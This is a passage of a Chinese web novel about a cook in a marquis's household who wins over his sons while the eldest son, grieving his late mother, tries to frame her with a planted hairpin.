身后,陈凡还在边走边禀报着公务上的事,“侯爷,那道士在狱中扛不住重刑,吐了口风,说受人指使,对方给了他一千两金,要毁了二少爷的根基……”
结果话还没说完,前面的裴谨之突然止步。陈凡的鼻子差点撞到他背上。
他稳住身形,正欲告罪,却见侯爷抬手,止住了他的话头。
陈凡抬头,顺着视线望去,整个人霎时间也僵在了当场。
那是……二少爷?
陈凡往后退了两步,抬头看了看牌匾,确定是二少爷的静和苑,没错。
可为何,他身边竟有了陌生人?还是在他从来不让人踏足的禁地?
别说陈凡有些懵,裴谨之都觉得心口像是被什么重物狠狠撞了一下。
这片竹林,连他都不曾踏足过,这些年来,更是为裴恪请过无数的名医,母亲甚至请来过得道高僧,想要撬开儿子心里的那把锁。
可到头来没有一次成功。
眼前这女人,入府才不过短短数日,不仅先后救了儿子两次,如今竟然让二儿子破例她进入禁区!
说不震撼,是假的。
过了许久,裴谨之终是没有打扰,脚步极轻地出了院子,还吩咐下人不得随意打扰。
就这样,沈令薇带着安安和团子,又玩了小半刻钟,眼看到了晚膳时辰,才起身离开。
走的时候和裴恪约好,今晚
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开始要给二少爷讲故事,还要带着安安。
回去的路上,安安抱着团子,小嘴叽叽喳喳说个不停。
“娘,团子好像很喜欢大哥哥唉,我明天还要带它来玩……”
沈令薇一边浅笑着回应,一边牵着安安的手往厨房走。
可就在绕过一道回廊时,似乎察觉到身后有什么动静。
很轻,像树叶被风吹起,又像是……脚步声?
可每当她回头去看的时候,又什么都没有。
沈令薇压下疑惑,继续朝前走。
结果没走两步,那动静又开始响起。
她面上不显,只拉紧了安安的手,加快脚步。
然,就在这时,一条又细又长的影子突然从草丛里窜出来!
安安吓得‘哇’的一声,立马往后一缩。
沈令薇看清后,也惊了一跳。
竟然是一条通体碧绿的小青蛇。
这变故发生的太过突然,安安甚至都来不及反应。
可紧接着,就见沈令薇本能地跨步上前,伸手快如闪电,五指精准地捕捉到那条蛇,并死死掐住它的七寸。
动作利落,稳健,透着一股子久经训练的冷静。
那小蛇在她手里疯狂地扭动,尾巴拍打她的手臂。
可沈令薇凑近了一看,这小蛇……好像没有牙齿?
这时,她身后的那丛花树明显抖了抖,还露出了一截宝蓝色的锦缎衣角。
沈令薇想到什么,嘴角勾起一抹意味深长的弧度。
她收回目光,对着安安安抚道:“安安别怕,不过是条寻常的乌梢蛇,没毒的,它呀,今晚是来给咱们送菜的。”
“走,娘这就将它拿去厨房,今晚你是想吃蛇肉羹?还是红烧蛇呀?”
安安听得一愣一愣的,“红、红烧?”
“对啊,”沈令薇点头,“你还没吃过蛇肉吧?娘跟你说,这蛇肉最是紧实鲜嫩,娘以前在乡下,最擅长的就是做蛇肉羹了。再加点老姜和山椒,包你吃得过瘾,若是红烧呢,那才叫一个香呢。”
“走!娘这就带你去厨房!”
母女二人说着,就要抬脚。
却在这时,身后那‘树丛’又动了,紧接着,还伴随着一道声音:
“唉唉,等会儿,不许走!”
“快放开那条蛇!”
母女二人步子齐齐一顿。
第23章 他好生气!
沈令薇扭头,看着身后行走的‘树从’。
不,准确地说,是头上带着树枝,手上还拿着一大把树枝的小童,约莫五六岁的样子,皮肤嫩得能掐出水来,一双乌溜溜的眼睛不停地转动着。
而那张脸,竟然跟二少爷裴恪,生的是一模一样。
沈令薇一眼就猜到了来人的身份,故作惊讶道;“您是……三少爷!”
裴野抬了抬下巴,双手抱着胳膊,一副小爷就是吊炸天的模样。
“知道就好,那什么,这小蛇是本少爷的,你、你赶紧放了它。”
这女人,到底是不是女人,出手那么狠!
连蛇都不怕。
他先前拿小青去吓唬那些试图靠近他爹的女人,哪个不是被吓得失声尖叫,花容失色的?
沈令薇眼底了然,“原来这是三少爷的爱宠,奴婢方才见它突然从草丛里窜出来,以为要伤人,这才冒昧出手。既如此,那这便归还三少爷。”
她依旧笑吟吟的,像是并没有把方才的一幕放在心上。
裴野看着突然递到面前的小蛇,喉咙动了动。
他没亲自去接,而是扭头朝身后的小厮吩咐:“还不快把小青收起来!关好了,别再让它跑出来!”
身后,一个十六七岁的小厮苦哈着脸上前,从沈令薇手里接过那条蛇,“是是是,奴才不小心将它给放了出来,这就关好,这就关好……”
一边却在心里疯狂吐槽:这口大锅,得背到什么时候……
阿贵心里苦,但阿贵不说。
阿贵抱着蛇,幽怨地看了裴野一眼,默默退到一边。
裴野假装没看见,背着手,挺着小胸脯,继续用那双乌溜溜的眼睛打量沈令薇。
“你就是二哥院子里,新来的那个厨娘?”
沈令薇松开安安,朝他行了一礼:“奴婢沈氏,见过三少爷。”
“听闻三少爷平日里都在学堂,今日这是放学了?奴婢正好要去厨房,三少爷想吃什么?不如奴婢顺带给您也做点尝尝?”
她笑得温婉,那双杏眼亮晶晶的,倒映着漫天霞光,竟让裴野那股子想找茬的劲头莫名哑了火。
但一想到白天听到的传言,那股气又上窜了些。
他小下巴一抬,摆出一副不为所动的样子:
“哼,本少爷什么山珍海味没吃过?你以为随便做点什么就能收买本少爷?”
可恶,竟想用好吃的来收买他?
她以为自己是二哥那种不吃饭的人?随便做点什么就能哄住?
呵!天真!
沈令薇也不恼,依旧笑吟吟的,朝他屈膝告退。
“那行,既然三少爷没有胃口,那奴婢就不打扰三少爷了,奴婢告退!”
裴野:“???”
“喂!等会儿?”他下意识地喊住沈令薇。
沈令薇回头,望着他:“三少爷还有什么事吗?”
裴野:“……”
他在脑海里搜索了半天的词,结果发现竟然不知道该怎么说。
哦,总不能直接问对方,你干啥不讨好我?巴结我?像先前那些想要靠近父亲的女人一样吧?
裴野小脸都皱成了一团,两条漂亮的眉毛拧在了一起。
沈令薇稍微转个弯,大概也能猜到怎么回事。
她不紧不慢地上前,伸手在裴野的两条眉毛上抚了抚。还忍不住捏了捏他软乎乎的小脸。
不得不说,这手感,只有捏过的人才知道,简直绝了!
“小孩子家家的,别动不动就皱着眉头,当心到时候老得快,变成小老头哦。”
裴野怔住,浑身像被一股微电流击中。
可恶的女人,胆敢碰他的眉毛!
好气!好气怎么办?
“喂!你……”
“嘘!”沈令薇竖起食指,轻轻抵在自己唇边。
“三少爷,奴婢有名字,叫沈令薇。三少爷若是不想叫名字,叫沈厨娘也行。”
她蹲下来,和他平视,目光温柔得像三月的风:
“三少爷生得这般玉雪可爱,一定不希望别人说咱们没有礼貌的,对不对?”
裴野的嘴巴张了张,到嘴边的话竟然一个字都吐不出来。
因为……
好香。
这个女人身上有一股好好闻的味道,不似祖母身上那股沉闷的熏香,也不似奶娘身上那股腥味,而是……暖暖的,软软的,像是阳光晒过被子的味道。
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还有她的手,刚才碰了他的眉毛,还捏了他的脸。
可为何他却生不起气来?反而该死的贪念这种触感!
好温柔。
好温暖。
他还想要。
裴野被自己这个念头吓了一跳。
不对!
他是来找麻烦的!是来试探这个女人的!怎么能被一个捏脸就给收买了?
裴野猛地回神,小脸涨得通红,往后跳了一大步。
“你、你你你……”
他指着沈令薇,手指都在颤抖,努力为自己找回那高冷的三少爷人设。
“你少来这套!别以为你对我笑一笑,说几句好话,本少爷就会被你收买,我告诉你,小爷眼光高着呢!”
裴野啊裴野,你可要清醒一点!
这女人是个狐媚子,是个会使邪术的厨娘!你看,她一伸手你就没力气了,这肯定是某种杀人不见血的迷魂阵!
“三少爷说的是。”沈令薇看破没戳破,嘴角的笑意更深了。
“既然三少爷瞧不上,那奴婢便带着安安先去开饭了。若是晚了,二少爷得饿肚子了呢。”
说完,她自顾地牵起安安,抱起团子,朝着厨房走去。
-
与此同时,疏影苑。
裴朔正坐在窗前,手里握着一卷书,目光却落在窗外渐沉的天色上。
这时,他的贴身小厮,柱子,正在门口探出半个脑袋,支支吾吾的模样。
裴朔放下书,面无表情地问道:“说吧,三弟又去哪儿闯祸了?”
言语之中,仿佛对此已经习以为常。
柱子缩了缩脖子,如实道出刚刚打听来的消息:“回大少爷,刚有人看到,三少爷去了……去了二少爷院子里的……厨房!”
“厨房?”裴朔皱眉。
他的这个三弟,平日里最是矜贵,骄傲,嘴上最是不饶人。
怎会踏足那等烟火之地?
他昨日刚逃了先生的课,不能让他再顶风作案,若被父亲发现,定免不了一顿责罚。
思及此,裴朔起身,小小的身板挺得笔直。
“带路!”
然而,等裴朔抵达静和苑厨房的时候,眼前的一幕,直接让他怔在了当场!
第24章 我是帮你,改进你的厨艺
厨房里,他那向来不可一世的三弟,此时正毫无形象地撅着屁股,蹲在一只矮凳上,死死盯着油锅里浮起的白色小球,哈喇子都要流进锅里。
“沈厨娘,好了没?这都浮起来好半天了!”裴野急不可耐地催促着,小手在膝盖上抓了又抓。
“三少爷别急,马上就好。”
灶台后传来一道温柔的女声。
裴朔顺着声音看过去,灶台后,那女子正握着一双长木箸,手腕轻巧地一拨,那几枚白莹莹、圆滚滚的团子便在热油里轻快地翻了个身。
“心急吃不了热豆腐。这‘雪绵豆沙’最讲究火候,蛋清打得要像云朵一样松散,入锅才能受热均匀。您瞧,现在它们是不是又白又胖,像不像天上的云落进了锅里?”
“哼,云有什么好吃的,小爷要吃甜的!”
裴野嘴上硬邦邦地回着,可眼神却一寸也舍不得挪开。
沈令薇莞尔,等熟得差不多之后,便利落地起锅,控油,装盘,最后撒上一层细密如雪的白糖。
霎时间,一股奇特的香味弥漫开来,勾得人食指大动。
裴野迫不及待地就要伸手去够,却被沈令薇阻止:“三少爷,刚出锅,小心烫,还有,要先净手!”
裴野皱眉,道了句‘麻烦’,但还是乖乖配合去了。
回来后,沈令薇夹起一个丸子,“三少爷尝尝?”
裴野傲娇的小性子又犯了,“既然你都这么勉为其难地请求本少爷了,那本少爷就卖你一个面子。”
沈令薇忍着笑意:“是,奴婢多谢三少爷赏脸。”
裴野嘴上说着,手里的筷子却已经伸过去,一口咬下。
然后,他怔住!瞳孔倏地放大。
紧接着,又开始狠狠地嚼着,飞快地咽下,眼睛又移到了盘子里。
“唔……也就一般般吧,比府里大师傅做的狮子头……差远了。”他嘴硬道。
“这样啊……”沈令薇一脸的‘惋惜’,“既然如此,那这剩下的……”
“剩下的都给本少爷打包,带走,那什么……二哥体弱,吃不了这些,这粮食不能浪费,本少爷就勉为其难,帮你们都解决了吧。”
说话时,眼睛恨不得黏在那丸子上。
沈令薇弯腰,凑近了道:“三少爷,奴婢忘了告诉你,这豆沙里头我加了秘制的‘诚实豆’,吃了的人,可是不能撒谎的。否则,这云朵就会在肚子里‘嘭’的一声炸开哦。”
裴野表情一僵,小脸涨得通红。
“胡、胡说!本少爷从未听闻,这世间还有这种豆子。”
实际上,他的小手已经忍不住放在了肚子上,像在担心真的会随时爆炸开来。
沈令薇也不点破,依旧笑眯眯的道:“三少爷说的是,这世上哪有什么诚实豆,是奴婢记错了。”
她又把剩下的推到裴野面前:“既然三少爷觉得这口味一般,那定是奴婢的手艺还有欠缺,没能入了您的法眼。那不如这样……”
沈令薇想了想,“奴婢明日再试两道新鲜玩意儿,三少爷若是不嫌弃,明日下了学,受累再往这厨房跑一趟,帮奴婢‘试一试’味道如何?”
裴野眼睛一亮,却强压着嘴角,努力摆出‘本少爷是给你面子’的模样。
“那……那行吧,反正本少爷最近也闲来无事,不过先说好,本少爷不是贪吃,是帮你试菜!改进你的厨艺。”
“是,奴婢多谢三少爷肯赏脸!”沈令薇忍着笑,朝他点头。
裴朔站在门外,从头看到尾。
然后,他眉头紧紧皱起。
这个女人,真是不简单。三言两句,几样小吃,就将三弟哄得服服帖帖。
他下意识地生出一丝警惕。突然想起父亲跟他说过的话。
“这世上,最难防的,是那些笑着对你好的人。”
思及此,他悄无声息地转身,离开了厨房。
对此,沈令薇和裴野浑然不知。
-
接下来的几日,日子相对平静。
沈令薇白日里除了负责裴恪的一日三餐,还会带着安安和团子尽可能多和裴恪接触。并设计一些小游戏。比如鼓励裴恪单脚跳,夹豆子,荡秋千将手里的物品投递到指定的位置等。
其实就是类似于现代的感统训练,
再加上她精心搭配的营养餐,尽量少用那些容易过敏的食材,裴恪的身子肉眼可见的好了许多,气色红润了些。
老夫人来看过几次,正赶上裴恪在院子里做游戏。
她站在远处定定地看了许久,眼眶湿润。拍着张嬷嬷的手连连说好,没进去打扰。
裴野也每晚准时来厨房报道,依旧嘴
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硬,吃完后拍拍屁股就走。
一切都在朝着好的方向发展。
只是沈令薇隐约觉得,每晚夜深人静讲故事的时候,背后似乎总有一双眼睛在盯着自己。
她没多想,只想着高门大户里,时常会有些死士暗卫之类的,加上侯爷这几日都没来,兴许是派人暗中在保护二少爷。
这一日,裴朔从学堂回来,路过后花园,听见几个下人在嚼舌根。
“听说了吗?静和苑那个厨娘,天天带着丫头往二少爷屋里跑,三少爷也被几块点心收买了。”
“这女人心大着呢。先是巴结二少爷,再收买三少爷,下一步,怕是要往侯爷身上使劲了。”
“谁说不是呢,连老夫人都对她赞叹有加,听说侯爷这几日往静和苑也跑得勤了……”
这些话断断续续飘进裴朔的耳朵里,他的脸倏地沉了下来。
她果然在打父亲的主意,用弟弟们当跳板,好往上爬!
裴朔攥紧手指,转身离去。
他没回自己的院子,而是转头到了一处他五年都不敢踏足的地方——落霞苑。
也是母亲崔氏生前居住的院落。
母亲喜枫树,如今满院子红枫如火,都是当年和父亲一起栽下的。
跨进门槛,一股沉寂了许久的气息扑面而来,回廊,石阶缝隙都干干净净,不见一丝尘埃。
显然,父亲一直命人精心打理,照料。
“大、大少爷?您怎么来了?”守门的老嬷嬷见到裴朔,一脸惊愕。
裴朔声音紧绷,道:“我来,是想进去看看母亲。”
小小年纪,那张和裴谨之有着五分像的脸上,已初显上位者的威压。
老嬷嬷顿时眼眶泛红,声音哽咽:“好!好!夫人若知道您来看她,定会感到欣慰的。”
说完,目光又落到裴朔脸上,像在看一件失而复得的珍宝:“五年了,咱们的大少爷都长这么高了,老奴如今瞧着,竟不逊侯爷当年的风姿,夫人知道了,定能含笑九泉的。”
裴朔后颈却微微僵了一瞬,像被什么锐利的东西扎了一下。
母亲会欣慰吗?
不!
当年的事,要不是他……
母亲根本不会走。
裴朔垂在袖子里的手无声地攥紧,面上却强扯出一抹笑容:“开门吧。”
第25章 孩儿绝不允许,有人替代母亲的位置
院子的景致还跟以前一样,只不过那些花花草草,还有小树,如今都长高了,长大了,显得枝繁叶茂。
一切都好,但就是没了人气。
正屋的门没锁,轻轻一推就开了。
一股极淡的香气扑面而来,似檀香,又似某种花瓣的味道。
一如当年母亲身上的味道。
裴朔站在门口,一时不敢迈步。
屋子里的陈设,每一样都还在原来的位置。衣柜,书架,还有母亲的妆台,全都纤尘不染。
正对着门的墙上,挂着一幅画像。
画中一女子穿着月白色的衣裙,眉眼温柔,正坐在庭院里,嘴角含着浅浅的笑意,整个人仿佛都镀上了一层暖色。
裴朔看到画像,眼泪瞬间夺眶而出。
“母亲……”
他终于喊出那个久违了五年的称呼,整个人像紧绷的弦突然被卸掉一般,再也控制不住自己的情绪。
门外,老嬷嬷听到哭声,也是心疼地揪起。
她是侯夫人的心腹陪嫁,无儿无女,也是看着侯夫人长大的。早把夫人的孩子当成自己的孩子。
如今见大少爷这般伤心,也是心疼不已。
过了一会儿,等裴朔情绪稍缓,老嬷嬷才进屋,安慰道:“大少爷,夫人去的时候,是笑着的,您……莫要再自责了,夫人若是知晓,会伤心的。”
裴朔擦干眼泪,直起身,朝老嬷嬷行了个晚辈礼:“孔嬷嬷,这些年,是您一直守着母亲,朔儿……谢谢您。”
他弯下腰,孔嬷嬷忙伸手去扶:“大少爷!使不得!老奴伺候夫人是天经地义的,当不得您这样……”
裴朔直起身,看着她。
眼前这个老人,头发全白了,背也驼了,可那双眼睛在看到他时,眼底满是欢喜。
他忽然想起小时候,孔嬷嬷还时常抱着他,喂他吃点心,摘院子里的枫叶。
可后来,母亲走了,他也把自己封闭起来,再不敢踏入这间院子。
裴朔心里涌出一股愧疚,张了张嘴,想说点什么,却不知道该怎么开口。
孔嬷嬷试探着问他:“大少爷以后……还会再来吗?”
裴朔一怔,眼底闪过一抹挣扎,“我……”
他脑海里闪过母亲临死前的画面,脸色发白,那个‘来’字怎么也说不出口。
孔嬷嬷眼底的光亮黯淡下去,轻轻拍了拍他的手背:“大少爷什么时候想夫人了,随时可以过来,老奴都在这儿。不想来……也没关系。夫人知道您心里有她,就足够了。”
裴朔觉得鼻子更酸了。
“……我尽量。”
孔嬷嬷笑着点头,“好,好,那老奴就不打扰大少爷跟夫人叙旧了。”
孔嬷嬷边说,边退了出去。
孔嬷嬷退出之后,屋里只剩裴朔一人。
他站在母亲的画像前,喃喃出声:“母亲,您放心,孩儿绝不允许,有人替代您的位置……”
风吹起画卷的一角,画上的女子笑容依旧。
裴朔又看了许久,最终像是下定什么决心,转身离去。
……
半个时辰后,张嬷嬷刚伺候老夫人用完膳,准备去库房清点过两日去寺庙上香的东西,刚转过一道回廊,却见台阶下立着一道身影。
小小的人,穿着月白色锦袍,背对着她,肩膀微微缩着,像是在犹豫什么。
“大少爷?”
张嬷嬷快步上前,上下打量了裴朔一眼:“这天都快黑了,您怎的在此?可是有事要找老夫人?”
裴朔张了张嘴,有些欲言又止。
张嬷嬷心下着急:“大少爷有什么事,只管跟老奴说。”
裴朔垂下眼,声音低低道:“我……我不小心把母亲的荷包弄丢了。”
“什么?”张嬷嬷一惊。
大少爷身上的荷包,是夫人在世的时候亲手所绣,里头塞了静心凝神的花瓣和药材,大少爷从来不离身的,爱惜得很。
这要真弄丢了,得多伤心!
怪不得,这天都要黑了,还不敢进去见老夫人。
张嬷嬷一颗心一下子就软了下来,“大少爷别着急,要不……您是在哪里弄丢的?老奴派人去帮你找找?”
裴朔抬起头,眼睛一亮,“真的吗
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?可是祖母那里……”
张嬷嬷也是看着裴朔长大的,哪里受得了这个眼神。
“大少爷放心,若是能找回来,老奴今儿就当没碰到过您。”
裴朔终于放下心来,朝她点点头;“既如此,那就多谢嬷嬷。”
张嬷嬷转头就点了两个小丫鬟:“你们两个,带上灯笼,跟我去随大少爷仔细寻找,若是旁人问起,就说是丢了不打紧的物件,明白了吗?”
小丫鬟忙不迭地应了。
张嬷嬷转头又温声道;“大少爷,您还记得最后一次见那荷包,是在什么地方看到的吗?”
裴朔抿了抿唇,最终道:“方才从学堂回来,我去了趟落霞苑……”
张嬷嬷心下诧异。
自从夫人去世后,听说大少爷已经五年没去过落霞苑了,怎么今儿……
她隐隐觉得哪里不对,可看着裴朔那张满是担忧的小脸,又说不出来哪里不对。
“老奴明白了,那咱们快走吧,再晚了天就该黑了。”
……
却说这头,沈令薇一手提着灯笼,一手牵着安安,正行走在侯府后花园某处。
“安安,你真的确定,团子往这边跑来了?”
安安的小脸满是焦急:“娘,是银杏姐姐亲耳听到两个丫鬟说的,说看见团子就是往这边跑来了。”
沈令薇心下隐隐觉得有些不对。
团子平日从不乱跑,怎么偏偏今晚跑得这么远?
可看着安安焦急的小脸,她没多说,只祝福女儿;“走吧,再找找,若是前面还没有,咱们就回去。”
安安虽然急,但也知道不能给娘亲添麻烦,伸手指着不远处的一处院落。
“娘亲,咱们就找到那边吧,要是还找不到,就再回去好吗?”
母女两人继续朝前走,很快穿过一道月亮门。
门后,眼前的景致豁然开朗。
一座精致的院落静静立在夜色里,占地极广,飞檐翘角,在月光下透着几分清冷。
离得近了,沈令薇才看清,那檀木牌匾上,写着龙飞凤舞的三个大字。
落霞苑。
第26章 胆敢偷盗夫人遗物,全都拿下!
沈令薇心头一紧,下意识拉住安安。
“安安,这里不能进。这是贵人的住处。”
“可是团子……”
“听话。”沈令薇蹲下来,替她擦了擦眼角,“这里是侯府,规矩森严,万一冲撞或者惊扰了贵人,我们都会被赶出去的。”
安安咬唇,懂事地点了点头。
然,正当沈令薇牵起安安的手准备离开时——
“喵!”
一声猫叫突然从不远处传来。
“是团子!”安安眼睛一亮,赶忙挣开沈令薇的手跑了过去。
沈令薇心下一紧,也赶忙提灯追了上去。
绕过几丛花树后,眼前便是一片枫树林。
月光从枫叶缝隙里漏下来,在地上洒了一地碎银。
“团子?团子?是你吗?”安安边找,边小声呼唤。
不一会儿,小猫听见熟悉的声音,也从树林里窜出来,像是受了惊,一头扎进安安怀里。
“团子,总算找到你了……”
安安抱着小猫,小脸贴在它柔软的背上,长舒一口气。
沈令薇悬着的一颗心也总算落地,催促道:“时间不早了,安安,咱们快回去吧。”
两人提着灯,带着小猫就要离开。
然而,沈令薇刚一抬脚时,脚底下就踩到了什么硬物,十分的硌脚。
她低头,借着灯笼一看,地面上竟然多出来一支玉簪。
她捡起来一看,玉簪通体莹润,雕着繁复的缠枝纹,在月光下泛着温润的光。
一看就不是普通人能戴的物件。
她心里‘咯噔’一声。
这等成色的簪子,怎会出现在此?
还没等她想明白,不远处忽然就传来一阵脚步声,几盏灯笼正晃动着穿过枫树影。
紧接着一声厉呵:“站住!胆敢偷盗夫人遗物,全都拿下!”
……
与此同时,落霞苑正屋内。
烛火昏黄,将裴谨之的影子拉得极长。
他坐在凳子上,手里拿着一只酒杯,正定定地望着画像上的亡妻,眼底满是思念。
空气里混杂着清冷的檀香,还有酒香,显得破碎又落寞。
“侯爷,这酒伤身,您好歹用些热汤垫垫。”
孔嬷嬷提着食盒进来,看到又空掉的酒瓶,叹了口气。
“这些日子,您天天来看望夫人。老奴瞧着,心里又是酸又是喜。侯爷对夫人,当真是深情不移。”
裴谨之没说话,只是仰头,将杯中残酒一饮而尽。
“深情不移……”他低声呢喃,声音带着一抹自嘲的冷笑。
他又抬眼,看向画像上的女子,画像上的女子温柔如水,是他供奉了五年的‘神灵’。
可不知为何,画像上那双熟悉的眼,此刻竟在他脑海里一点点变得模糊,转而映出另一张脸来。
是那个跪在灯下,脖颈白得晃眼的女人。
那个抱着猫儿,夜里温柔地给儿子讲故事的女人。
这些日子,这道影子像被刻在他脑子里,怎么也甩不掉。
甚至昨夜做梦时,还将她当做了玉娘,在做那种事……
这几日,他来得更勤,不是因为思念亡妻。
而是因为,只有坐在这里,对着这幅画像,他才能把脑子里那道影子压下去。
多可笑!
他裴谨之,居然要用亡妻来压制另一个女人。
“侯爷,您最近……是不是有心事?”孔嬷嬷的声音把他拉回来。
“老奴瞅着,您这眉头,比往日皱得还紧。”
裴谨之没说话,只是又倒了一杯酒。
总不能说,自己快要记不清亡妻的模样了。
“该死!”
裴谨之突然重重地一搁酒杯,嘴里吐出一句脏话!
孔嬷嬷被吓了一跳,有些诧异地看他。
裴谨之这才意识到自己的失态,忙收敛情绪:“无妨,本侯只是……”
话音未落,他目光突然落到一旁的妆台上。
那原本有个首饰匣子,里头装着亡妻生前最喜爱的几样首饰。裴谨之每次来,都会看一眼。
可现在,匣子里少了一样东西。
孔嬷嬷察觉他浑身气势一变,也顺着目光看过去,很快也发现了不对劲。
“侯爷!这……夫人最爱的那白玉簪子,不见了?”
孔嬷嬷差点就要跪了!
夫人的遗物,可是被侯爷当做眼珠子一样护着,从不让人碰,到底是谁这么大胆?胆敢偷盗夫人的遗物!
可下一秒,孔嬷嬷脑海里突然闪过一个身影,眼神顿时变得复杂起来。
裴
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谨之周身的酒气在这一瞬仿佛凝成了冰,沉冷的眸子锁住孔嬷嬷。
“这里,先前有谁来过?”
孔嬷嬷张了张嘴,犹豫再三,最终叹了口气,如实道:“回侯爷……一个时辰前,大少爷来过,待了两盏茶的功夫,就走了……”
“朔儿?”裴谨之眉头皱成了‘川’字。
他五年都没踏进过这里一步,如今来了,屋里的东西却少了?
是谁拿的,不言而喻。
可他想不通。
朔儿为什么要拿那支簪子?
正当裴谨之疑惑时,外院突然传来一阵嘈杂声。还伴随着女子的争辩声,透过门窗,隐约飘进来。
裴谨之喝了些酒,头有些晕,吩咐孔嬷嬷:“去看看,何人喧哗?”
“是,侯爷。”孔嬷嬷应声而出。
……
与此同时,落霞苑门口不远处。
沈令薇和安安,还有怀里的那只小猫,正被三五个家丁给围了起来。
为首之人是个四十出头,管家模样的中年男人。
同行的,还有裴朔身边的小厮,柱子。
“周管家,你看,就是她,她手里拿着的,是不是夫人的遗物,梅花白玉簪?”
周管家快步上前,眯着眼睛仔细一看,霎时间脸色一变!
“大胆!你是何人?胆敢……”
话还没说完,周管家目光落到沈令薇脸上时,整个人如同被定住,眼睛瞬间瞪圆!
“夫、夫人?!”
周管家在侯府二十几年了,自然知晓已故侯夫人的长相。
先前天色太黑没看清,此刻距离近了,一看,这张脸,和夫人至少有着七分相似。
只不过夫人是那种偏温婉,清瘦的。
而眼前这妇人,则丰腴一些。
满院的下人,被周管家这突如其来的变故给整懵了,面面相觑。
沈令薇忙解释道:“管家认错人了,民妇是静和苑的厨娘,姓沈。”
到了此刻,沈令薇如何看不出来,今晚这一出,当是有人故意设计的。
先是团子失踪,后有银杏听到丫鬟说团子在这个方位,引导她和安安来此,这就是一个局。
只是不知道,这背后之人,意欲何为。
沈令薇已经做好了最坏的打算。
第27章 和母亲一模一样
周管家死死盯着沈令薇的脸,半晌才回过神来。
不是夫人。
夫人已经走了五年了。
可这张脸……怎么会这么像?
管家毕竟也是见过大风大浪的人,狠狠掐了把大腿,压下心头的惊涛骇浪。目光落在她手里那支簪子上。
“你是静和苑的厨娘?为何深夜在此?这簪子,又怎么会在你手里?”
“回管家,民妇女儿养的小猫跑丢了。有人看见它往这边来,民妇带着女儿一路找来,在这竹林里找到了猫,也捡到了这簪子。”
话音刚落,柱子就朝她反驳:“你、你骗谁呢?这可是夫人的遗物,何其珍贵,平日都是在夫人的妆台里锁着的,又怎么会被你给捡到?”
沈令薇看了柱子一眼,确定自己从没见过此人,也根本不可能得罪他。
那么唯一的解释就是,他是受人指使。
会是谁呢?
是谁想要栽赃,陷害于她呢?
她目光平静得像一潭深水,不答反问:“这位小哥说得对,确实太巧了。”
“这院子既是禁地,必是有护院巡逻,我一初来乍到,不识路径的厨娘,如何能在众目睽睽之下,躲过层层把守,进得那落霞苑的正屋?””
柱子:“……”
糟糕!大少爷怎的没告诉他,这妇人这么狡猾难缠哇?
见柱子脸色变白,沈令薇越发笃定了心中的猜测,又道:“你说这簪子锁在箱子里,那就怪了,我一没钥匙,二没斧头,难不成用了什么仙法?能隔空取物,还不惊动屋里的守卫?”
“不如管家现在就派人去瞧瞧,看那箱子可有被人撬过?”
至此,周管家也意识到了不对劲,眉头皱成了疙瘩。
柱子则有些语无伦次,紧张的额头狂冒汗。
“退一万步讲,”沈令薇又道,“我若真有本事偷得这价值连城的宝贝,又为何还带着孩子,大咧咧地拿在手里,等着你们来抓我?”
柱子的脸色更白了,嘴巴动了动,却是一个字都反驳不了。
他只是个听命行事的小厮,哪里见过这种逻辑缜密,步步紧逼的阵仗哇?
他求救似的看向某处,冷汗啪嗒一声掉在地上。
“我……我……”
就在周管家眉头紧锁,满腹疑惑的时候,不远处的回廊里传来一阵脚步声。
“大少爷,前面有台阶,您慢着些。”
张嬷嬷提着灯笼,正引着裴朔朝这边走来,显然是寻找荷包到了此处。
柱子见到裴朔,如同见到了救星,飞快地迎了上去。
“大少爷,您来得正好,这厨娘偷了夫人的遗物,还不肯承认。”
月色下,裴朔一身月白锦袍,小小的身板挺得笔直,那张与裴谨之有着五分相似的面容上,没什么表情。
光是站在那里,就像是一株经了霜的小松,清冷,孤峭,透着一股子与年龄不符的沉凝。
他目光扫过在场众人,最终落在周管家身上:
“既然人证物证皆在,周管家为何还不拿人?难道是要等父亲亲自来处置吗?”
周管家一怔:“大少爷,这……”
“大少爷都发话了,还不赶紧把这贼人拿下?”柱子有了主心骨,腰杆子都挺直了几分,抢先朝周管家嚷嚷。
周管家叹了口气,正要指挥下人们动手。
这时,沈令薇缓缓转过身。
月光刚好从云层后透出来,正好落到她脸上。
裴朔在抬眸的瞬间,目光正好与她相接。
刹那间!
“啪!”
裴恪手里的灯笼掉到了地上。
他呼吸一窒,整个人骤然僵住!
那张脸,那眉眼!
竟然和记忆中的母亲一模一样。
“……”
裴朔张了张嘴,却没能发出声音。
他脑子里乱极了,只觉得眼前这一切都是那么的不真实。
柱子还在一旁聒噪,见裴朔没动静,不禁提醒他:“大少爷?大少爷!您怎么了?”
裴朔没动,只站在那里,死死地盯着沈令薇的脸,嘴唇都在颤抖。
张嬷嬷察觉不对,目光在沈令薇和裴朔之间来回游移,似明白了什么,终是叹了一声。
与此同时,沈令薇也在打量裴朔。
月色下,他小脸苍白,眼底翻涌着各种复杂的情绪。
震惊,痛苦,意外,还有一丝丝说不清的……思念。
像是要透过她,看到她的灵魂深处。
入侯府数日,她多多少少也听说过这位大少爷的传闻,少年老成,冷性冷情,几乎是小一号的裴谨之。
可此刻,他眼底的那股子破碎和震惊,像一根细针一样,扎进了沈令薇的心里。
她不卑不亢地福了福身,“奴婢沈氏,
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见过大少爷。”
一声‘沈氏’,像一道闷雷一样,硬生生将裴朔炸醒。
他紧攥着拳头,指甲几乎要抠进掌心里。
不是母亲。
母亲不会自称奴婢。
更不会穿着下人的衣服站在这里。
裴朔深吸一口气,拼命将眼底那层水雾压下去。
“早就听闻大少爷英明睿智,行事沉稳,想来定不会行那等不分青红就冤枉下人的事。”
沈令薇拿出手里的簪子:“奴婢原本是来这儿寻猫的,偶然拾得此物,他们说,此乃夫人遗物,想来大少爷定是识得的?”
她将簪子举高了些,方便裴朔看清。
裴朔看着那簪子,目光像是被烫到一样。
他当然知道,这就是母亲的簪子。
是他亲手放在这路上的,为的就是……
可……现如今,内心里却有个声音,在不断地拉扯着他。
“是……是母亲的旧物。”他声音很小,还有些颤抖。
他甚至不敢去看沈令薇那清澈的有些过分的眼睛。
沈令薇见状,心里已经隐隐有了猜测。
但她并没有怨怼,责怪。
他才七岁,或许也只是想要用这种方式,来守护自己想要的东西。
她缓缓走近裴朔,在距离三步的位置停下,蹲下来,平视对方。
“既然是大少爷识得的,那便最好了。”
她语调温软,主动拉过裴朔的手,将簪子放到他手里。
“这簪子,想必对大少爷来说,比性命还要贵重。”
“若是掉在这路上,它会冷。失去它的人,也会心疼的。”
